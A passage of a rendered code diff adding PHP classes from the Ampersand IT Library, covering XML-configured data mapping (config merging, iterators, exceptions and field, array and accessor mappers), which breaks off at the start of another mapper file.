public static function getSingleton()
|
123 |
+
{
|
124 |
+
$registryKey = 'singleton/transport_outgoing_test';
|
125 |
+
|
126 |
+
if (!Ampersand_Integration_Registry::has($registryKey)) {
|
127 |
+
$singleton = new Ampersand_Integration_Transport_Outgoing_Test();
|
128 |
+
Ampersand_Integration_Registry::set($registryKey, $singleton);
|
129 |
+
}
|
130 |
+
|
131 |
+
return Ampersand_Integration_Registry::get($registryKey);
|
132 |
+
}
|
133 |
+
}
|
lib/Ampersand/Map.php
ADDED
@@ -0,0 +1,37 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map
|
17 |
+
{
|
18 |
+
/**
|
19 |
+
* Maps a data structure to an XML object based on a configuration specified
|
20 |
+
* within that XML object. XML object is capable of storing references to
|
21 |
+
* objects, arrays etc. when element values are not strings
|
22 |
+
*
|
23 |
+
* @param mixed $xml XML configuration either as string or object
|
24 |
+
* @param mixed $input The source data structure to map, any type
|
25 |
+
* @param string $complexType OPTIONAL If specified, look in this XML object
|
26 |
+
* for the given complex type and map the input data to that element
|
27 |
+
* @return Ampersand_Map_Result The XML object which $input was mapped to
|
28 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
29 |
+
*/
|
30 |
+
public static function map(Ampersand_Map_Config $config, $input = null,
|
31 |
+
Ampersand_Integration_Identifier_AggregatorInterface $identifierAggregator = null
|
32 |
+
) {
|
33 |
+
$map = $config->getNodeInstanceToMap();
|
34 |
+
|
35 |
+
return $map->map($config, $input, null, $identifierAggregator);
|
36 |
+
}
|
37 |
+
}
|
lib/Ampersand/Map/Config.php
ADDED
@@ -0,0 +1,212 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Config extends Ampersand_Object
|
17 |
+
{
|
18 |
+
const IDENTIFIER_ENABLED = 'enabled';
|
19 |
+
const IDENTIFIER_DISABLED = 'disabled';
|
20 |
+
|
21 |
+
protected $_xmlQueue = array();
|
22 |
+
protected $_xmlObject;
|
23 |
+
protected $_identifierStates = array();
|
24 |
+
protected $_useIdentifiers = false;
|
25 |
+
protected $_defaultIdentifierState = self::IDENTIFIER_ENABLED;
|
26 |
+
protected $_nodeToMap;
|
27 |
+
protected $_mapperProvider;
|
28 |
+
|
29 |
+
public function addXml($xml)
|
30 |
+
{
|
31 |
+
return $this->_addToXmlQueue('xml', $xml);
|
32 |
+
}
|
33 |
+
|
34 |
+
public function addXmlObject(Ampersand_Xml_Element $xmlObject)
|
35 |
+
{
|
36 |
+
return $this->_addToXmlQueue('object', $xmlObject);
|
37 |
+
}
|
38 |
+
|
39 |
+
public function addXmlFilePath($filePath)
|
40 |
+
{
|
41 |
+
return $this->_addToXmlQueue('file_path', $filePath);
|
42 |
+
}
|
43 |
+
|
44 |
+
protected function _addToXmlQueue($type, $data)
|
45 |
+
{
|
46 |
+
$this->_xmlQueue[] = array(
|
47 |
+
'type' => $type,
|
48 |
+
'data' => $data,
|
49 |
+
);
|
50 |
+
|
51 |
+
return $this;
|
52 |
+
}
|
53 |
+
|
54 |
+
protected function _processXmlQueue()
|
55 |
+
{
|
56 |
+
while ($_item = array_shift($this->_xmlQueue)) {
|
57 |
+
$this->_xmlObject = $this->_mergeFromSource($this->_xmlObject, $_item['type'], $_item['data']);
|
58 |
+
}
|
59 |
+
|
60 |
+
return $this;
|
61 |
+
}
|
62 |
+
|
63 |
+
protected function _mergeFromSource($baseXmlObject, $sourceType, $source)
|
64 |
+
{
|
65 |
+
switch ($sourceType) {
|
66 |
+
case 'xml':
|
67 |
+
$baseXmlObject = $this->_mergeFromXmlString($baseXmlObject, $source);
|
68 |
+
break;
|
69 |
+
case 'object':
|
70 |
+
$baseXmlObject = $this->_mergeFromXmlObject($baseXmlObject, $source);
|
71 |
+
break;
|
72 |
+
case 'file_path':
|
73 |
+
$baseXmlObject = $this->_mergeFromFilePath($baseXmlObject, $source);
|
74 |
+
break;
|
75 |
+
}
|
76 |
+
|
77 |
+
return $baseXmlObject;
|
78 |
+
}
|
79 |
+
|
80 |
+
protected function _mergeFromXmlString($baseXmlObject, $xmlString)
|
81 |
+
{
|
82 |
+
if (is_null($baseXmlObject)) {
|
83 |
+
return $this->_getNewMapInstance($xmlString);
|
84 |
+
}
|
85 |
+
|
86 |
+
return $baseXmlObject->extend($xmlString, true);
|
87 |
+
}
|
88 |
+
|
89 |
+
protected function _mergeFromXmlObject($baseXmlObject, Ampersand_Xml_Element $xmlObject)
|
90 |
+
{
|
91 |
+
if (!$xmlObject instanceof Ampersand_Map_XmlElement) {
|
92 |
+
return $this->_mergeFromXmlString($baseXmlObject, $xmlObject->asValidXml());
|
93 |
+
}
|
94 |
+
|
95 |
+
if (is_null($baseXmlObject)) {
|
96 |
+
return $xmlObject;
|
97 |
+
}
|
98 |
+
|
99 |
+
return $baseXmlObject->extend($xmlObject, true);
|
100 |
+
}
|
101 |
+
|
102 |
+
protected function _mergeFromFilePath($baseXmlObject, $filePath)
|
103 |
+
{
|
104 |
+
$xmlObject = $this->_getNewMapInstance($filePath, true);
|
105 |
+
|
106 |
+
return $this->_mergeFromXmlObject($baseXmlObject, $xmlObject);
|
107 |
+
}
|
108 |
+
|
109 |
+
protected function _getNewMapInstance($source, $isUrl = false)
|
110 |
+
{
|
111 |
+
return Ampersand_Xml::factory($source, $isUrl, 'Ampersand_Map_XmlElement');
|
112 |
+
}
|
113 |
+
|
114 |
+
public function getXmlObject()
|
115 |
+
{
|
116 |
+
$this->_processXmlQueue();
|
117 |
+
|
118 |
+
return $this->_xmlObject;
|
119 |
+
}
|
120 |
+
|
121 |
+
public function getNode($name)
|
122 |
+
{
|
123 |
+
$xmlObject = $this->getXmlObject();
|
124 |
+
|
125 |
+
if (!is_object($xmlObject)) {
|
126 |
+
throw new Ampersand_Map_Exception('No source XML was specified');
|
127 |
+
}
|
128 |
+
if (!$xmlObject->hasChild($name)) {
|
129 |
+
throw new Ampersand_Map_Exception("Node '$name' was not found in the XML");
|
130 |
+
}
|
131 |
+
|
132 |
+
if (!$name) {
|
133 |
+
return $xmlObject;
|
134 |
+
}
|
135 |
+
|
136 |
+
return $xmlObject->getChild($name)->copy();
|
137 |
+
}
|
138 |
+
|
139 |
+
public function getAreIdentifiersDisabled()
|
140 |
+
{
|
141 |
+
if (self::IDENTIFIER_DISABLED !== $this->_defaultIdentifierState) {
|
142 |
+
return false;
|
143 |
+
}
|
144 |
+
|
145 |
+
foreach ($this->_identifierStates as $_state) {
|
146 |
+
if ($_state !== self::IDENTIFIER_DISABLED) {
|
147 |
+
return false;
|
148 |
+
}
|
149 |
+
}
|
150 |
+
|
151 |
+
return true;
|
152 |
+
}
|
153 |
+
|
154 |
+
public function getIsIdentifierDisabled($name)
|
155 |
+
{
|
156 |
+
return $this->identifierState($name) === self::IDENTIFIER_DISABLED;
|
157 |
+
}
|
158 |
+
|
159 |
+
public function identifierState($name, $state = null)
|
160 |
+
{
|
161 |
+
if (is_null($state)) {
|
162 |
+
if (array_key_exists($name, $this->_identifierStates)) {
|
163 |
+
return $this->_identifierStates[$name];
|
164 |
+
}
|
165 |
+
|
166 |
+
return $this->_defaultIdentifierState;
|
167 |
+
}
|
168 |
+
|
169 |
+
$this->_identifierStates[$name] = $state;
|
170 |
+
|
171 |
+
return $this;
|
172 |
+
}
|
173 |
+
|
174 |
+
public function resetIdentifierStates()
|
175 |
+
{
|
176 |
+
$this->_identifierStates[] = array();
|
177 |
+
|
178 |
+
return $this;
|
179 |
+
}
|
180 |
+
|
181 |
+
public function defaultIdentifierState($state = null)
|
182 |
+
{
|
183 |
+
if (is_null($state)) {
|
184 |
+
return $this->_defaultIdentifierState;
|
185 |
+
}
|
186 |
+
|
187 |
+
$this->_defaultIdentifierState = $state;
|
188 |
+
|
189 |
+
return $this;
|
190 |
+
}
|
191 |
+
|
192 |
+
public function setNodeToMap($name)
|
193 |
+
{
|
194 |
+
$this->_nodeToMap = $name;
|
195 |
+
|
196 |
+
return $this;
|
197 |
+
}
|
198 |
+
|
199 |
+
public function getNodeInstanceToMap()
|
200 |
+
{
|
201 |
+
return $this->getNode($this->_nodeToMap);
|
202 |
+
}
|
203 |
+
|
204 |
+
public function getMapperProvider()
|
205 |
+
{
|
206 |
+
if (is_null($this->_mapperProvider)) {
|
207 |
+
$this->_mapperProvider = new Ampersand_Map_Mapper_Provider();
|
208 |
+
}
|
209 |
+
|
210 |
+
return $this->_mapperProvider;
|
211 |
+
}
|
212 |
+
}
|
lib/Ampersand/Map/Exception.php
ADDED
@@ -0,0 +1,19 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Exception extends Ampersand_Exception
|
17 |
+
{
|
18 |
+
|
19 |
+
}
|
lib/Ampersand/Map/Iterator.php
ADDED
@@ -0,0 +1,74 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Iterator
|
17 |
+
{
|
18 |
+
protected static $_activeIterators = array();
|
19 |
+
protected static $_nextId = 0;
|
20 |
+
|
21 |
+
protected $_id;
|
22 |
+
protected $_keys = array();
|
23 |
+
|
24 |
+
public function __construct()
|
25 |
+
{
|
26 |
+
$iteratorId = self::$_nextId++;
|
27 |
+
|
28 |
+
self::$_activeIterators[$iteratorId] = $this;
|
29 |
+
|
30 |
+
$this->_id = $iteratorId;
|
31 |
+
}
|
32 |
+
|
33 |
+
public function terminate()
|
34 |
+
{
|
35 |
+
unset(self::$_activeIterators[$this->_id]);
|
36 |
+
|
37 |
+
return $this;
|
38 |
+
}
|
39 |
+
|
40 |
+
public static function terminateAll()
|
41 |
+
{
|
42 |
+
self::$_activeIterators = array();
|
43 |
+
|
44 |
+
return $this;
|
45 |
+
}
|
46 |
+
|
47 |
+
public static function getCurrentIterator($graceful = false)
|
48 |
+
{
|
49 |
+
$iterator = end(self::$_activeIterators);
|
50 |
+
|
51 |
+
if (!$iterator) {
|
52 |
+
throw new Ampersand_Map_Exception('There are no active iterators');
|
53 |
+
}
|
54 |
+
|
55 |
+
return $iterator;
|
56 |
+
}
|
57 |
+
|
58 |
+
public function addKey($key)
|
59 |
+
{
|
60 |
+
$this->_keys[] = $key;
|
61 |
+
|
62 |
+
return $this;
|
63 |
+
}
|
64 |
+
|
65 |
+
public function getCurrentIndex()
|
66 |
+
{
|
67 |
+
return count($this->_keys) - 1;
|
68 |
+
}
|
69 |
+
|
70 |
+
public function getCurrentKey()
|
71 |
+
{
|
72 |
+
return end($this->_keys);
|
73 |
+
}
|
74 |
+
}
|
lib/Ampersand/Map/Iterator/BreakException.php
ADDED
@@ -0,0 +1,19 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Iterator_BreakException extends Ampersand_Map_Exception
|
17 |
+
{
|
18 |
+
|
19 |
+
}
|
lib/Ampersand/Map/Iterator/ContinueException.php
ADDED
@@ -0,0 +1,19 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Iterator_ContinueException extends Ampersand_Map_Exception
|
17 |
+
{
|
18 |
+
|
19 |
+
}
|
lib/Ampersand/Map/Mapper/Abstract.php
ADDED
@@ -0,0 +1,52 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
abstract class Ampersand_Map_Mapper_Abstract implements Ampersand_Map_Mapper_Interface
|
17 |
+
{
|
18 |
+
public function map(Ampersand_Map_XmlElement $map, $input)
|
19 |
+
{
|
20 |
+
$this->_validate($map, $input);
|
21 |
+
|
22 |
+
return $this->_map($map, $input);
|
23 |
+
}
|
24 |
+
|
25 |
+
protected function _map(Ampersand_Map_XmlElement $map, $input)
|
26 |
+
{
|
27 |
+
return null;
|
28 |
+
}
|
29 |
+
|
30 |
+
protected function _getIsInputEmpty($input)
|
31 |
+
{
|
32 |
+
return is_null($input) || !strlen($input);
|
33 |
+
}
|
34 |
+
|
35 |
+
protected function _validate(Ampersand_Map_XmlElement $map, $input)
|
36 |
+
{
|
37 |
+
$this->_validateMap($map);
|
38 |
+
$this->_validateInput($input);
|
39 |
+
|
40 |
+
return $this;
|
41 |
+
}
|
42 |
+
|
43 |
+
protected function _validateMap(Ampersand_Map_XmlElement $map)
|
44 |
+
{
|
45 |
+
return $this;
|
46 |
+
}
|
47 |
+
|
48 |
+
protected function _validateInput($input)
|
49 |
+
{
|
50 |
+
return $this;
|
51 |
+
}
|
52 |
+
}
|
lib/Ampersand/Map/Mapper/Accessor.php
ADDED
@@ -0,0 +1,58 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Mapper_Accessor extends Ampersand_Map_Mapper_Method
|
17 |
+
{
|
18 |
+
protected function _validate(Ampersand_Map_XmlElement $map, $input)
|
19 |
+
{
|
20 |
+
$this->_validateMap($map);
|
21 |
+
$this->_validateInput($input);
|
22 |
+
|
23 |
+
return $this;
|
24 |
+
}
|
25 |
+
|
26 |
+
protected function _validateMap(Ampersand_Map_XmlElement $map)
|
27 |
+
{
|
28 |
+
if ($map->hasChildren()) {
|
29 |
+
throw new Ampersand_Map_Exception('Mapper expects a leaf node');
|
30 |
+
}
|
31 |
+
|
32 |
+
return $this;
|
33 |
+
}
|
34 |
+
|
35 |
+
protected function _validateInput($input)
|
36 |
+
{
|
37 |
+
if (!is_object($input)) {
|
38 |
+
throw new Ampersand_Map_Exception('Input must be an object');
|
39 |
+
}
|
40 |
+
|
41 |
+
return $this;
|
42 |
+
}
|
43 |
+
|
44 |
+
protected function _getMethodName(Ampersand_Map_XmlElement $map)
|
45 |
+
{
|
46 |
+
return $this->_fieldNameToMethodName($map->getValue());
|
47 |
+
}
|
48 |
+
|
49 |
+
protected function _fieldNameToMethodName($fieldName)
|
50 |
+
{
|
51 |
+
return 'get' . Ampersand_Object::camelize($fieldName);
|
52 |
+
}
|
53 |
+
|
54 |
+
protected function _getParams(Ampersand_Map_XmlElement $map)
|
55 |
+
{
|
56 |
+
return array();
|
57 |
+
}
|
58 |
+
}
|
lib/Ampersand/Map/Mapper/AllData.php
ADDED
@@ -0,0 +1,22 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Mapper_AllData extends Ampersand_Map_Mapper_Abstract
|
17 |
+
{
|
18 |
+
protected function _map(Ampersand_Map_XmlElement $map, $input)
|
19 |
+
{
|
20 |
+
return $input;
|
21 |
+
}
|
22 |
+
}
|
lib/Ampersand/Map/Mapper/Array.php
ADDED
@@ -0,0 +1,37 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Mapper_Array extends Ampersand_Map_Mapper_LeafAbstract
|
17 |
+
{
|
18 |
+
protected function _map(Ampersand_Map_XmlElement $map, $input)
|
19 |
+
{
|
20 |
+
$key = $map->getValue();
|
21 |
+
|
22 |
+
if (!array_key_exists($key, $input)) {
|
23 |
+
return null;
|
24 |
+
}
|
25 |
+
|
26 |
+
return $input[$key];
|
27 |
+
}
|
28 |
+
|
29 |
+
protected function _validateInput($input)
|
30 |
+
{
|
31 |
+
if (!is_array($input)) {
|
32 |
+
throw new Ampersand_Map_Exception('Mapper expects input to be an array');
|
33 |
+
}
|
34 |
+
|
35 |
+
return $this;
|
36 |
+
}
|
37 |
+
}
|
lib/Ampersand/Map/Mapper/Concatenate.php
ADDED
@@ -0,0 +1,28 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Mapper_Concatenate extends Ampersand_Map_Mapper_Abstract
|
17 |
+
{
|
18 |
+
protected function _map(Ampersand_Map_XmlElement $map, $input)
|
19 |
+
{
|
20 |
+
$string = '';
|
21 |
+
|
22 |
+
foreach ($map->getChildren() as $_child) {
|
23 |
+
$string .= $_child->getValue();
|
24 |
+
}
|
25 |
+
|
26 |
+
return $string;
|
27 |
+
}
|
28 |
+
}
|
lib/Ampersand/Map/Mapper/FieldPath.php
ADDED
@@ -0,0 +1,77 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Mapper_FieldPath extends Ampersand_Map_Mapper_Accessor
|
17 |
+
{
|
18 |
+
protected function _map(Ampersand_Map_XmlElement $map, $input)
|
19 |
+
{
|
20 |
+
$fieldNames = $this->_getFieldNames($map->getValue());
|
21 |
+
|
22 |
+
return $this->_mapInputUsingFieldNames($fieldNames, $input);
|
23 |
+
}
|
24 |
+
|
25 |
+
protected function _validateInput($input)
|
26 |
+
{
|
27 |
+
return $this;
|
28 |
+
}
|
29 |
+
|
30 |
+
protected function _getFieldNames($path)
|
31 |
+
{
|
32 |
+
return explode('/', $path);
|
33 |
+
}
|
34 |
+
|
35 |
+
protected function _mapInputUsingFieldNames(array $fieldNames, $input)
|
36 |
+
{
|
37 |
+
foreach ($fieldNames as $_fieldName) {
|
38 |
+
$input = $this->_mapInput($_fieldName, $input);
|
39 |
+
}
|
40 |
+
|
41 |
+
return $input;
|
42 |
+
}
|
43 |
+
|
44 |
+
protected function _mapInput($fieldName, $input)
|
45 |
+
{
|
46 |
+
if (is_array($input)) {
|
47 |
+
return $this->_mapArray($fieldName, $input);
|
48 |
+
}
|
49 |
+
|
50 |
+
if (is_object($input)) {
|
51 |
+
try {
|
52 |
+
return $this->_mapObject($fieldName, $input);
|
53 |
+
} catch (Ampersand_Map_Exception $e) {
|
54 |
+
// method was not defined for object
|
55 |
+
return null;
|
56 |
+
}
|
57 |
+
}
|
58 |
+
|
59 |
+
return null;
|
60 |
+
}
|
61 |
+
|
62 |
+
protected function _mapArray($fieldName, array $input)
|
63 |
+
{
|
64 |
+
if (!array_key_exists($fieldName, $input)) {
|
65 |
+
return null;
|
66 |
+
}
|
67 |
+
|
68 |
+
return $input[$fieldName];
|
69 |
+
}
|
70 |
+
|
71 |
+
protected function _mapObject($fieldName, $object)
|
72 |
+
{
|
73 |
+
$methodName = $this->_fieldNameToMethodName($fieldName);
|
74 |
+
|
75 |
+
return $this->_callMethod($object, $methodName);
|
76 |
+
}
|
77 |
+
}
|
lib/Ampersand/Map/Mapper/FlagType.php
ADDED
@@ -0,0 +1,22 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
